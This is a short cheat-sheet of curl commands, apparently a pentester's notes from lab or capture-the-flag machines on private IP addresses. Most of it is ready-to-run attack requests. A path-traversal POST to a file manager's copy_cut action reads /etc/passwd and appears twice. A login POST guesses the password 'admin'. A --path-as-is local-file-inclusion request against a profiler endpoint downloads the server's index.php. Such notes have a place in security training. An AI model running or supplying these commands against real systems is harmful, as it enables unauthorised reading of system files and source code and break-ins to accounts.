Curl Requests

Curl POST request with cookies and form

#post-request-cookies

curl -s -X POST \
  -H "Cookie: PHPSESSID=5a1rmkbul7dnc575a9bqerm978" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "sub_action=copy&path=../../../../../../../../etc/passwd" \
  "http://192.168.211.145/filemanager/ajax_calls.php?action=copy_cut"

one liner

curl -s -X POST -H "Cookie: PHPSESSID=5a1rmkbul7dnce75a9bqerm978" -H "Content-Type: application/x-www-form-urlencoded" --data "sub_action=copy&path=../../../../../../../../etc/passwd" "http://192.168.211.145/filemanager/ajax_calls.php?action=copy_cut"

Another example

curl -s -L -X POST -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" -H "Content-Type: application/x-www-form-urlencoded" --data "username=hh&password=admin&login=" "http://10.10.10.239/admin/login.php"

Curl LFI path-as-is

#path-as-is

curl --path-as-is 'http://192.168.121.108/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/www/html/index.php' --output index.php